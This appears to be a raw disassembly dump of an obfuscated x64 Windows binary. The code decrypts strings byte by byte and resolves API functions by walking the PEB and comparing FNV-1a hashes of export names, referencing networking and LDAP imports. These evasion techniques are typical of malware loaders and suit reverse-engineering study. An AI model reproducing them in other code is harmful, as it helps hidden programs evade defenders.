movabs rcx, 0x2fcd6098f145d12a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x26
lea rax, [r11 + rdi]
cmp rax, 0x61
je 0x14014748f
lea rax, [r11 + 0x7a]
cmp rdi, rax
jbe 0x1401472e6
movabs rdx, 0x5d4df5234d25778a
mov ecx, Ordinal_32
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov eax, 8
cmp rdi, rax
jae 0x140147464
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x1401473b4
movabs rdx, 0xd15c348bc83ac244
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140147009
movabs rdx, 0xb8557c72e27fc05c
mov ecx, 0x3e
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014768b
movabs rcx, 0xb978b35cbe6557b8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x1401474ec
movabs rdx, 0xba9bea469a4aef14
mov ecx, Ordinal_60
jmp 0x140146f76
movabs rcx, 0xbbbf213076308670
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x14014765d
movabs rdx, 0xbce2581a52161dcc
mov ecx, gethostname
jmp 0x140147648
movabs rcx, 0xbe058f042dfbb528
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x14014760f
movabs rdx, 0xbf28c5ee09e14c84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14014756b
movabs rcx, 0xc04bfcd7e5c6e3e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x1401475e7
movabs rdx, 0xc16f33c1c1ac7b3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14014758e
lea rax, [r11 + 0x28]
cmp rdi, rax
jae 0x140147202
lea rcx, [r10 + rsi]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
jmp 0x140147062
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14014722d
movabs rcx, 0xe81c7ed0f62a9574
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x14014768b
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14014725c
movabs rdx, 0xe6f947e71a44fe18
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401474ec
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140147287
movabs rcx, 0xe38fa32986943804
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1c
jmp 0x14014765a
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401472b6
movabs rdx, 0xe26c6c3faaaea0a8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14014760f
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x140147062
movabs rdx, 0xdf02c78216fdda94
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0xc
add bl, dl
jmp 0x1401475a0
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140147311
movabs rcx, 0x5c2abe39713fe02e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x42
jmp 0x1401475a0
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14014733d
movabs rcx, 0x59e45065b974b176
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x3a
jmp 0x1401475ea
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14014735a
movabs rdx, 0x567aaba825c3eb62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
jmp 0x140147531
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140147385
movabs rcx, 0x555774be49de5406
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
jmp 0x1401474b8
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x14014709e
movabs rcx, 0x531106ea9213254e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x22
jmp 0x14014768b
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401473df
movabs rcx, 0xd038fda1ec552ae8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x58
jmp 0x14014768b
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14014740a
movabs rcx, 0xcbac21fa7cbecd78
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x48
jmp 0x14014765a
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140147431
movabs rdx, 0xca88eb10a0d9361c
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140147485
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140147009
movabs rdx, 0xc8427d3ce90e0764
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401475e7
movabs rdx, 0xc4d8d87f555d4150
add rdx, r10
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r10 + 0x460]
sub bl, al
sub bl, 0x30
add bl, dl
add bl, r9b
jmp 0x14014760f
movabs rdx, 0xc3b5a1957977a9f4
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x460]
add bl, dl
add bl, r9b
movabs rdx, 0x432406208b84de46
add rdx, r10
mov al, r9b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x460], al
add r11, r12
add rax, r11
sub r10, rax
movabs rcx, 0xc2926aab9d921298
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x28
add r9b, cl
mov byte [rbp + r10 + 0x460], r9b
add rdi, r12
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14014768b
movabs rdx, 0x6d3af5ed53b3be92
mov ecx, r12d
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014765d
movabs rdx, 0x6e5e2cd72f9955ee
mov ecx, 0x3f
jmp 0x140147648
movabs rdx, 0x70a49aaae76484a6
mov ecx, Ordinal_60
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401475ea
movabs rdx, 0x72eb087e9f2fb35e
mov ecx, gethostname
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rdx, 0x456a73f443500cfe
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x460], cl
jmp 0x1401475e7
movabs rcx, 0x7654ad3c32e07972
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
add r11, r12
sub r10, r12
jmp 0x14014769a
movabs rcx, 0x789b1b0feaaba82a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x26
movabs rdx, 0x44473d0a676a75a2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x6e
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x460], cl
jmp 0x14014765a
movabs rdx, 0x79be51f9c6913f86
mov ecx, Ordinal_46
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14014769a
movabs rdx, 0x7e4b2da136279cf6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r10 + 0x460]
add rax, r11
add r10, rax
add r10, r12
jmp 0x140146b45
movabs rcx, 0x345a3c4060dc2e9a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x36
jmp 0x140146b3c
movabs rdx, 0x357d732a3cc1c5f6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140146b2c
lea rsi, [rbp + 0x15f2b78]
jmp 0x140147701
lea rsi, [rbp + 0x16c5fca]
jmp 0x140147701
lea rsi, [rbp + 0x460]
mov byte [rbp + 0x1110], Ordinal_143
mov byte [rbp + 0x1111], Ordinal_79
mov byte [rbp + 0x1112], Ordinal_217
mov byte [rbp + 0x1113], 0x43
mov byte [rbp + 0x1114], Ordinal_217
mov byte [rbp + 0x1115], 0x41
mov byte [rbp + 0x1116], 0xe3
mov byte [rbp + 0x1117], 0x47
mov byte [rbp + 0x1118], Ordinal_211
mov byte [rbp + 0x1119], 0x45
mov byte [rbp + 0x111a], 0x9b
mov byte [rbp + 0x111b], Ordinal_60
mov byte [rbp + 0x111c], Ordinal_217
mov byte [rbp + 0x111d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x111e], Ordinal_143
mov byte [rbp + 0x111f], 0x3f
mov byte [rbp + 0x1120], 0xaa
mov byte [rbp + 0x1121], 0x3d
mov byte [rbp + 0x1122], 0xa1
mov byte [rbp + 0x1123], gethostname
mov byte [rbp + 0x1124], 0xa4
mov byte [rbp + 0x1125], Ordinal_50
mov byte [rbp + 0x1126], __WSAFDIsSet
mov byte [rbp + 0x1127], Ordinal_60
mov byte [rbp + 0x1128], __WSAFDIsSet
mov byte [rbp + 0x1129], gethostname
mov byte [rbp + 0x112a], 0xbe
mov byte [rbp + 0x112b], Ordinal_46
mov byte [rbp + 0x112c], 0xb1
mov byte [rbp + 0x112d], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x112e], 0xbd
mov byte [rbp + 0x112f], Ordinal_50
mov byte [rbp + 0x1130], 0xbe
mov byte [rbp + 0x1131], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x1132], Ordinal_200
mov byte [rbp + 0x1133], r14b
mov byte [rbp + 0x1134], 0xfd
mov byte [rbp + 0x1135], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x1136], Ordinal_200
mov byte [rbp + 0x1137], Ordinal_41
mov byte [rbp + 0x1138], Ordinal_143
mov byte [rbp + 0x1139], Ordinal_41
mov byte [rbp + 0x113a], 0xfa
mov byte [rbp + 0x113b], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x113c], 0xdd
mov byte [rbp + 0x113d], Ordinal_27
mov byte [rbp + 0x113e], 0x88
mov byte [rbp + 0x113f], Ordinal_32
mov byte [rbp + 0x1140], Ordinal_143
mov byte [rbp + 0x1141], Ordinal_32
mov byte [rbp + 0x1142], 0x81
mov byte [rbp + 0x1143], reloc.WS2_32.dll_send
mov byte [rbp + 0x1144], 0x86
mov byte [rbp + reloc.WS2_32.dll_recvfrom45], 0x11
mov byte [rbp + 0x1146], 0xf6
mov byte [rbp + 0x1147], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1148], Ordinal_211
mov byte [rbp + 0x1149], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x114a], __WSAFDIsSet
mov byte [rbp + 0x114b], recv
mov byte [rbp + 0x114c], 0xad
mov byte [rbp + 0x114d], 9
mov byte [rbp + 0x114e], 0x84
mov byte [rbp + 0x114f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1150], 0xad
mov byte [rbp + 0x1151], reloc.WS2_32.dll_listen
mov byte [rbp + 0x1152], __WSAFDIsSet
mov byte [rbp + 0x1153], 3
mov byte [rbp + 0x1154], 0x99
mov byte [rbp + 0x1155], r12b
mov byte [rbp + 0x1156], __WSAFDIsSet
mov byte [rbp + 0x1157], 7
mov byte [rbp + 0x1158], 0x9f
mov byte [rbp + 0x1159], 5
mov byte [rbp + 0x115a], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x115b], 0xfb
mov byte [rbp + 0x115c], 0x44
mov byte [rbp + 0x115d], 0xf9
mov byte [rbp + 0x115e], WSASetLastError
mov byte [rbp + 0x115f], 0xff
mov byte [rbp + 0x1160], 0x5d
mov byte [rbp + 0x1161], 0xfd
mov byte [rbp + 0x1162], 0x56
mov byte [rbp + 0x1163], 0xf3
mov byte [rbp + 0x1164], 0x55
mov byte [rbp + 0x1165], 0xf1
mov byte [rbp + 0x1166], 0x60
mov byte [rbp + 0x1167], 0xf7
mov byte [rbp + 0x1168], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x1169], 0xf5
mov byte [rbp + 0x116a], 0x47
mov byte [rbp + 0x116b], 0xeb
mov byte [rbp + 0x116c], 0xe8
mov byte [rbp + 0x116d], 0xe9
xor eax, eax
mov dword [rbp + 0x116e], eax
mov word [rbp + 0x1172], ax
mov byte [rbp + 0x1174], al
movabs r14, 0xabd5bd3eff80feb6
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r11, r13
cmp r11, 0x65
jae 0x140148159
movzx r9d, byte [rbp + r11 + 0x1110]
mov r8, r9
cmp rdi, r11
ja 0x140148150
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140147a0a
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 6
jmp 0x140147a2a
je 0x1401480c3
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140148038
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014800f
cmp r10, r11
ja 0x140148147
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x140147a5e
movabs rcx, 0x1888862af594e4ee
add rcx, r11
mov al, r9b
and al, cl
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, r9b
add dl, cl
jmp 0x140147a94
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140147fc4
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140147fa4
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140147f82
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140147f52
mov dl, bl
lea rax, [rdi + r10]
cmp rax, r11
jbe 0x140147c17
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140147bf6
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140147bd3
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x140147bb1
lea rdi, [r10 + 0x41]
lea r10, [rdi + 1]
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x140148121
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1401480fb
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140147b27
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140147b8f
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x140147b6e
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140147b4d
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
jmp 0x140147aa1
movabs rdx, 0x9db6cc38bd0651fa
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401479dc
movabs rdx, 0xb63f5263b29b36e8
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x58
jmp 0x140147f4b
movabs rdx, 0x5e93d7e5b399397c
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x64
jmp 0x140147e0b
movabs rcx, 0x6e85d67b4973c10
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x70
jmp 0x1401480e4
movabs rcx, 0x852e460dc7716d0c
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x140148030
movabs rcx, 0x2d82cb8fc86f6fa0
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x60
jmp 0x14014800a
movabs rdx, 0xd5d75111c96d7234
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x6c
jmp 0x140147fe0
lea rax, [r10 + 0x1000]
cmp rdi, rax
jae 0x140147cdd
lea rcx, [r11 + r14]
mov al, r9b
and al, cl
mov edx, 3
sub dl, al
add dl, dl
add dl, r9b
add dl, cl
lea rax, [rdi + r10]
cmp rax, 0x41
je 0x140147f24
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x140147d65
movabs rdx, 0xf1ee1802e1bcb15e
add rdx, r11
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r9b
cmp rdi, 0x41
jae 0x140147ec5
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x140147e12
movabs rdx, 0xa769e2dd751964c
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub dl, 0x14
add dl, cl
cmp r10, 0x41
jb 0x140147eb6
movabs rcx, 0x77296719cd657c84
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x38]
jmp 0x140147fe2
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140147d08
movabs rcx, 0x31110c55eb29c9dc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x1401480e4
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140147d32
movabs rdx, 0xe0680151e92dc4b4
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140147f48
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140147c3e
movabs rdx, 0x3f15eb49e535ba64
mov ecx, Ordinal_35
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140148030
jne 0x140147d8d
movabs rdx, 0x49999280e0beaeca
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140147fe2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140147db8
movabs rcx, 0xf8f0877cdec2a9a2
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6e
jmp 0x140148030
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140147de2
movabs rdx, 0x579e7174daca9f52
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
jmp 0x140147f4b
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140147c79
movabs rdx, 0xaf49ebf2d9cc9cbe
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
jmp 0x14014808e
jne 0x140147e37
movabs rcx, 0x622218abd65393b8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 8
jmp 0x1401480e4
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140147e66
movabs rdx, 0x11790da7d4578e90
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014805c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140147e95
movabs rdx, 0xc0d002a3d25b8968
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140147f1f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140147cae
movabs rdx, 0x7026f79fd05f8440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140147d4e
mov byte [rbp + r11 + 0x1110], dl
mov bl, dl
jmp 0x1401480f3
movabs rcx, 0xced4e197cc6779f0
add rcx, r11
mov al, cl
and al, r9b
mov r8d, Ordinal_60
sub r8b, al
add r8b, r8b
add r8b, byte [rbp + r11 + 0x1110]
add r8b, cl
add r8b, r9b
movabs rdx, 0x7aaa9ed6cbe878a6
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
add cl, r8b
mov byte [rbp + r11 + 0x1110], cl
mov bl, r8b
add rdi, r10
jmp 0x140147f70
movabs rdx, 0x26805c15cb69775c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x1110]
add bl, r9b
add bl, dl
jmp 0x14014805c
movabs rcx, 0x268d651eefa0d576
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x3a
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x1401480f3
movabs rcx, 0x1f8af5a4f29add32
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5e
jmp 0x140148030
movabs rcx, 0xc7df7b26f398dfc6
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6a
jmp 0x14014800a
movabs rdx, 0x703400a8f496e25a
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x76
add bl, dl
movabs rdx, 0x22ff2458cce67b3a
add rdx, r11
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x1110], cl
add r10, r12
jmp 0x140148030
movabs rdx, 0x118616b0f88eecaa
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
sub r11, r12
jmp 0x1401480f3
mov r9, r8
movabs rdx, 0xb2d82cb8fc86f6fa
add rdx, r11
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xd2561954caea7612
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x7e
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x1110], al
add r10, r12
add rax, r10
sub r11, rax
movabs rcx, 0x7e2bd693ca6b74c8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x78
add r9b, cl
mov byte [rbp + r11 + 0x1110], r9b
add rdi, r12
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x1401480e4
movabs rdx, 0x38137bcfe82fc22
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r11 + 0x1110]
add rax, r10
add r11, rax
add r11, r12
jmp 0x1401479c9
movabs rdx, 0x460b51babe04548e
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401479c6
movabs rdx, 0xee5fd73cbf025722
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401479b6
lea rdx, [rbp + 0x16b3358]
jmp 0x140148160
lea rdx, [rbp + 0x16c320e]
jmp 0x140148160
lea rdx, [rbp + 0x1110]
mov r9d, 0x40
mov r8, rsi
xor ecx, ecx
call r15
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x1401482d1
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x1401481eb
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r15d
jmp 0x1401481dd
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401481cc
cmp r9d, esi
jne 0x1401482c2
mov rbx, qword [rcx + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401482c2
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401482c2
mov edi, dword [r11 + 0x20]
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rbx
mov r8d, r15d
jmp 0x14014823f
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x140148232
cmp r8d, r14d
je 0x140148255
test r10d, r10d
jne 0x14014821f
jmp 0x1401482c2
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r11
jbe 0x1401482ca
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1401482ca
mov esi, r15d
mov r14d, r15d
jmp 0x140148293
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140148285
jmp 0x1401482a8
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014829b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140148198
mov qword [0x1404fc118], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x140148441
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140148358
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14014834a
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140148339
cmp r8d, esi
jne 0x140148425
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140148425
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140148425
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1401483ac
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401483a1
cmp edx, r14d
je 0x1401483c2
test r9d, r9d
jne 0x14014838c
jmp 0x140148425
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r11
cmp rbx, r10
jbe 0x14014843a
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x14014843a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140148404
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401483f6
jmp 0x140148419
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
